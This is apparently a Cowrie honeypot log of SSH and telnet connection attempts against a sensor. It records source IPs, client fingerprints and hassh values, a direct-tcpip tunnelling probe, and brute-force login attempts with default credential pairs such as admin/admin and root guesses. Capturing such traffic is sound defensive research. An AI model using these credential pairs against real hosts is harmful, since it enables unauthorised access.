{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:60:de:e8:2f:d6:c7:97:6e:ad:96:a8:1d:fc:63:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDULRd2RfaDB8NJjeoGoefohFEv1K151DWyJBnX4DnImvy5ordPNBGdB9bYjyJvJwZV6zwg5eFkB5MkVCFcAY3f31ytGpO3hrmCGPTfiVlU+p4mY1grKxuXkcdZE5yRUijHRSPjEJfOQkfp8vHBOTIHg87nzqtRsQNscL5Ya1iVI/y4NN8IjgscTYK0Tan124qd9vfOt7qgQkUCiSQMNQK18h0SfKLKm8V0q/iqVnCOYapFZ8LGfo8zvWIsxeXWFiS9bntNA7Vv28J8wIwDhJTxFSyyQ3GzhPVdAFkEbOgYFSzMP+Ip3QyXMWfGCYap3SgnFBcwRAfcNyBA5Xn6DE5p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.878782Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:7a:63:74:65:e5:ad:96:b7:aa:60:3f:2d:67:6e:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChnBTqQFIruWXaItOptdUhnbdd3hsA1Jf9RCJCD2atFD16Cap0+cNs3sULf870quKbgSBZa0dg4ZuUHyd60gEL0bGletBBztij9a+SZAzB6N5PymHf85ySc8G+IsXG8QIf7+NU3UkMy4UdPZq8H7SE5YLeRfrQjZUdq8wk8LioB8KbWPCM8ODG1Lk8qoQE3wY2xmy/uf+vS0xr+vEohMH9PY7waJxCyG8c78T5i7RbXmFE+OgU2DbvRtXNMfGyZDgq9taySorOW+d+HJDsbxOhsvlpzueP7ffmECiZZz82azJYhj0aow8VQohfm8NUClXdmF5A70t3nRgbUQQePYjn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:7a:63:74:65:e5:ad:96:b7:aa:60:3f:2d:67:6e:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.986539Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:7a:63:74:65:e5:ad:96:b7:aa:60:3f:2d:67:6e:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChnBTqQFIruWXaItOptdUhnbdd3hsA1Jf9RCJCD2atFD16Cap0+cNs3sULf870quKbgSBZa0dg4ZuUHyd60gEL0bGletBBztij9a+SZAzB6N5PymHf85ySc8G+IsXG8QIf7+NU3UkMy4UdPZq8H7SE5YLeRfrQjZUdq8wk8LioB8KbWPCM8ODG1Lk8qoQE3wY2xmy/uf+vS0xr+vEohMH9PY7waJxCyG8c78T5i7RbXmFE+OgU2DbvRtXNMfGyZDgq9taySorOW+d+HJDsbxOhsvlpzueP7ffmECiZZz82azJYhj0aow8VQohfm8NUClXdmF5A70t3nRgbUQQePYjn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.989531Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:50.093752Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":32826,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ca3b6d0e60","protocol":"telnet","message":"New connection: 172.81.62.90:32826 (159.203.135.109:23) [session: 47ca3b6d0e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:50.847504Z"}
{"eventid":"cowrie.session.closed","duration":39.059098958969116,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:29.906512Z","src_ip":"172.81.62.90","session":"47ca3b6d0e60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41974,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f20787c973","protocol":"telnet","message":"New connection: 172.81.62.90:41974 (159.203.135.109:23) [session: a5f20787c973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:42.402101Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35432,"dst_ip":"159.203.135.109","dst_port":23,"session":"2829be72e2e6","protocol":"telnet","message":"New connection: 172.81.62.90:35432 (159.203.135.109:23) [session: 2829be72e2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:54.092360Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25252,"dst_ip":"10.17.0.5","dst_port":22,"session":"f67fc22ba3a4","protocol":"ssh","message":"New connection: 87.251.64.176:25252 (10.17.0.5:22) [session: f67fc22ba3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:55.890653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:55.895561Z","src_ip":"87.251.64.176","session":"f67fc22ba3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:55.990248Z","src_ip":"87.251.64.176","session":"f67fc22ba3a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:56.289424Z","src_ip":"87.251.64.176","session":"f67fc22ba3a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:56.388209Z","session":"f67fc22ba3a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:56.484934Z","src_ip":"87.251.64.176","session":"f67fc22ba3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:21:56.582262Z","src_ip":"87.251.64.176","session":"f67fc22ba3a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50010,"dst_ip":"10.17.0.5","dst_port":22,"session":"da949a1bca32","protocol":"ssh","message":"New connection: 80.94.92.184:50010 (10.17.0.5:22) [session: da949a1bca32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:01.803608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:01.813650Z","src_ip":"80.94.92.184","session":"da949a1bca32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:02.101631Z","src_ip":"80.94.92.184","session":"da949a1bca32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":45470,"dst_ip":"159.203.135.109","dst_port":22,"session":"32285b984b32","protocol":"ssh","message":"New connection: 194.59.206.2:45470 (159.203.135.109:22) [session: 32285b984b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:03.360605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:03.364976Z","src_ip":"194.59.206.2","session":"32285b984b32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:03.420860Z","src_ip":"80.94.92.184","session":"da949a1bca32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:03.456937Z","src_ip":"194.59.206.2","session":"32285b984b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:03.554112Z","src_ip":"194.59.206.2","session":"32285b984b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:04.936949Z","src_ip":"80.94.92.184","session":"da949a1bca32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47286,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee5cb318ab67","protocol":"ssh","message":"New connection: 103.27.238.116:47286 (159.203.135.109:22) [session: ee5cb318ab67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:08.628776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:08.632886Z","src_ip":"103.27.238.116","session":"ee5cb318ab67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:08.892524Z","src_ip":"103.27.238.116","session":"ee5cb318ab67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rey619","message":"login attempt [root/rey619] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:09.668989Z","src_ip":"103.27.238.116","session":"ee5cb318ab67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:10.929272Z","src_ip":"103.27.238.116","session":"ee5cb318ab67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.055755853652954,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:17.457728Z","src_ip":"172.81.62.90","session":"a5f20787c973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.29.155","src_port":34720,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbabecac132f","protocol":"telnet","message":"New connection: 1.214.29.155:34720 (159.203.135.109:23) [session: bbabecac132f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:25.003266Z"}
{"eventid":"cowrie.session.closed","duration":35.97361350059509,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:30.065846Z","src_ip":"172.81.62.90","session":"2829be72e2e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495306730270386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:22:55.498455Z","src_ip":"1.214.29.155","session":"bbabecac132f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60208,"dst_ip":"10.17.0.5","dst_port":22,"session":"158fda045e16","protocol":"ssh","message":"New connection: 103.82.132.16:60208 (10.17.0.5:22) [session: 158fda045e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:23:56.800559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:23:56.805150Z","src_ip":"103.82.132.16","session":"158fda045e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:23:57.051910Z","src_ip":"103.82.132.16","session":"158fda045e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199393","message":"login attempt [root/199393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:23:57.790310Z","src_ip":"103.82.132.16","session":"158fda045e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:23:59.040530Z","src_ip":"103.82.132.16","session":"158fda045e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.220.148","src_port":47061,"dst_ip":"159.203.135.109","dst_port":23,"session":"cea9b17fabb7","protocol":"telnet","message":"New connection: 183.91.220.148:47061 (159.203.135.109:23) [session: cea9b17fabb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:24:24.196445Z"}
{"eventid":"cowrie.session.closed","duration":13.228542804718018,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:24:37.424863Z","src_ip":"183.91.220.148","session":"cea9b17fabb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":58536,"dst_ip":"159.203.135.109","dst_port":23,"session":"b42ba549afa3","protocol":"telnet","message":"New connection: 166.62.124.255:58536 (159.203.135.109:23) [session: b42ba549afa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:25:54.198265Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52776,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee88fb2f110a","protocol":"ssh","message":"New connection: 80.94.92.184:52776 (10.17.0.5:22) [session: ee88fb2f110a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:10.430059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:10.647247Z","src_ip":"80.94.92.184","session":"ee88fb2f110a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:10.650386Z","src_ip":"80.94.92.184","session":"ee88fb2f110a","protocol":"ssh"}
